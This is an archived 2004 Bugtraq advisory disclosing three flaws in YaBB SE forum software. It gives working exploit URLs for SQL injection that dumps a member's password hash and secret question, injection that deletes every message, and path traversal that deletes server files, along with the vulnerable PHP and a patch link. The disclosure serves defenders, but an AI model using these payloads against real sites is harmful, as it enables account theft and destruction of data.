YabbSE (3 on 1)

From: backspace (backspace_2k_at_terra.es)
Date: 03/01/04

  • Next message: Matt Zimmerman: "[SECURITY] [DSA 452-1] New libapache-mod-python packages fix denial of service"
    To: "bugtraq" <bugtraq@securityfocus.com>
    Date: Mon, 1 Mar 2004 10:46:28 +0100
    
    

    Summary
    YaBB SE is a PHP/MySQL port of the popular forum software YaBB (yet another
    bulletin board).

    This time we discovered three new holes. That ranges from extracting
    information
    to deleting information and files in the remote web server.

    Details
    Vulnerable Systems:
     * YaBB SE versions 1.5.4, 1.5.5, 1.5.5b possibly others

     The three holes are located in the file ModifyMessage.php

    _-= The HOLE =-_

    Hole details:
     Extract information from the database.

    This hole is located in the ModifyMessage function. In this function
    the parameter $msg isn't checked against malicious input, so it's possible
    to inject SQL.

     How To Exploit the vulnerability:

    1- you need to be a registered user and you need to know the database
    prefix.
    2- Click any board you see. ex. General Discussion.
    3- Click any message. ex Welcome to YaBB SE!
    4- Now we can use the "quote" button or look in to the source code
     for the sesc variable.
    5-change your url to look like this.

    http://vulnhost/forum/index.php?board=1;action=modify;threadid=1;quote=1;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;msg=-12)+UNION+SELECT+3,null,2,concat(passwd,%27-%27,secretQuestion),null,null,null,null,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*

    Parameters explained:

    http://vulnhost/forum/index.php?board=1;action=modify;threadid=1;quote=1;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;msg=-12[negative
    number so no message is returned])+UNION+SELECT+3[MSG ID could be
    anything],null,2[our user
    ID],concat(passwd,%27-%27,secretQuestion),null,null,null,null,null,null,null
    ,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1[victim's
    user ID]/*

    That's all

    The user's hashed password and his secret question is returned in the form
    subject field

    like this: e320774659b1b23333bd033754d2ac1a-black color

    Why?

    the $msg variable isn't checked against malicious input so it's inserted
    unchecked
    in the SQL sentence.

    $request = mysql_query("SELECT m.*, t.locked FROM {$db_prefix}messages AS m,
    {$db_prefix}topics AS t WHERE (m.ID_MSG=$msg AND m.ID_TOPIC=t.ID_TOPIC)
    LIMIT 1;") or database_error(__FILE__, __LINE__);

    with our crafted $msg the sentence looks like this

    SELECT m.*, t.locked FROM yabbse_messages AS m, yabbse_topics AS t WHERE
    (m.ID_MSG=-12) UNION
    SELECT
    3,null,2,concat(passwd,'-',secretQuestion),null,null,null,null,1,null,null,n
    ull,null,null,null,null
    FROM yabbse_members where ID_MEMBER=1/* AND m.ID_TOPIC=t.ID_TOPIC) LIMIT 1;

    _-= The HOLE RELOADED =-_

    Hole details:
       Delete information from de database

    This hole is located in the ModifyMessage2 function. In this function
    the parameter $postid isn't checked against malicious input, so it's
    possible
    to inject SQL.

     How To Exploit the vulnerability:

    1- You need to be a registered user and you need to post the last message.
    2- Go to your message and push the modify button
    3- Now you have something like this in the URL
    http://vulnhost/forum/index.php?board=1;action=modify;msg=2;threadid=2;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1
    4- Change this action=modify put this action=modify2 and add this 3 new
    parameters
    subject=texto, message=texto y waction=deletemodify
    5- Add the crafted postid: postid=1+or+1=1+ORDER+BY+ID_MSG+DESC/*
    now we have:

    http://vulnhost/forum/index.php?board=1;action=modify2;msg=2;threadid=2;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;subject=hola;message=hola;waction=deletemodify;postid=1+or+1=1+ORDER+BY+ID_MSG+DESC/*

    this will delete all messages in the database

    Why?

    the $postid variable isn't checked against malicious input so it's inserted
    unchecked
    in the SQL sentence.

            $request = mysql_query("
                            SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename,
    t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL,
    t.numReplies, b.ID_BOARD, b.count
                            FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t,
    {$db_prefix}boards AS b
                            WHERE m.ID_MSG=$postid
                                    AND t.ID_TOPIC=m.ID_TOPIC
                                    AND b.ID_BOARD=t.ID_BOARD
                            LIMIT 1;"

    with our crafted $postid the sentence looks like this

    SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename,
    t.locked, t.ID_FIRST_MSG,
    t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
    FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b
    WHERE m.ID_MSG=1 or 1=1 ORDER BY ID_MSG DESC/* AND t.ID_TOPIC=m.ID_TOPIC AND
    b.ID_BOARD=t.ID_BOARD LIMIT 1;

    For this to function we need our messages to be the last because we need our
    crafted $postid to be
    injected in two SQL sentences and that the first sentence return valid data
    to pass this check

            if ($row['ID_MEMBER'] != $ID_MEMBER && $settings[7] != 'Administrator' &&
    $settings[7] != 'Global Moderator' && !in_array($username, $moderators))
                    fatal_error($txt[67]);

    After the first sentence is executed and the check is passed this sentence
    is executed

    $request = mysql_query("DELETE FROM {$db_prefix}messages WHERE
    ID_MSG=$postid LIMIT 1;")

    wit our crafted $postid we have

    DELETE FROM yabbse_messages WHERE ID_MSG=2 or 1=1 ORDER BY ID_MSG DESC/*
    LIMIT 1;

    this is perfectly legal in MySQL and his consecuence is all messages in the
    database
    being deleted

    _-= The HOLE REVOLUTIONS =-_

    Hole details:
       Delete files from the webserver

    The third hole is in the same function. This time is a mix of the second bug
    and
    the parameter $attachOld being unchecked against dotdot ".." subdirectories
    traversal .

    How To Exploit the vulnerability:

    1- You need to be a registered user and has to know your user id.
    2- Go to one of your messages and use the "modify" button , or go to any
    message and use the "quote" button.

    Now you need a tool like Paros or Achilles. You can do another way you want
    but with
    this tools is really easy. I use Paros.

    Check the Trap Request mark.

    3- Use preview and go to paros.

    change this:

    POST /forum/index.php?board=1;action=post2 HTTP/1.0

    to this:

    POST
    /forum/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../d
    eleteme.txt;subject=hola;message=hola;postid=-1+UNION+SELECT+null,3,null,nul
    l,null,null,null,null,null,null,null,null/* HTTP/1.0

    If you get a database error then the file was deleted else you get
    a message like this

    2:
    unlink(C:/xampp/htdocs/yabbse/yabbse155/attachments/../../../../deleteme.txt
    ): No such file or directory
    (C:\xampp\htdocs\yabbse\yabbse155\Sources\ModifyMessage.php ln 319)

    Parameters explained:

    /forum/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../b
    orrame.txt[file to
    delete];subject=hola;message=hola;postid=-1+UNION+SELECT+null,3[Our user
    ID],null,null,null,null,null,null,null,null,null,null/*

    Why?

    Why?

    the $postid variable isn't checked against malicious input so it's inserted
    unchecked
    in the SQL sentence.

            $request = mysql_query("
                            SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename,
    t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL,
    t.numReplies, b.ID_BOARD, b.count
                            FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t,
    {$db_prefix}boards AS b
                            WHERE m.ID_MSG=$postid
                                    AND t.ID_TOPIC=m.ID_TOPIC
                                    AND b.ID_BOARD=t.ID_BOARD
                            LIMIT 1;"

    the sentence with our crafted $postid looks like this:

    SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename,
    t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG,
    t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
    FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b
    WHERE m.ID_MSG=-1 UNION SELECT
    null,3,null,null,null,null,null,null,null,null,null,null
    /* AND t.ID_TOPIC=m.ID_TOPIC AND b.ID_BOARD=t.ID_BOARD LIMIT 1;

    m.ID_MSG=-1 is to avoid returned data. And UNION SELECT
    null,3,null,null,null,null,null,null,null,null,null,null
    is a perfectly legal MySql UNION returning static data the way we want.

    Vendor Status:

    As in the last bug we sent to YaBBSe developers they didn't anything in a
    month to solve this situation and
    later they release a one line patch several days after we disclose that
    vulnerability, and because
    we don't like their policy of security through obscurity.
    We decided not to collaborate with them anymore and release our own patch,

    You can download the patch at:

    http://www.elhacker.net/foro/attachments/yabbse1.5.5patch.rar
    http://www.trucoswindows.net/Dowmload/yabbse1.5.5patch.rar

    Credits go to:

        Alnitak and BackSpace


  • Next message: Matt Zimmerman: "[SECURITY] [DSA 452-1] New libapache-mod-python packages fix denial of service"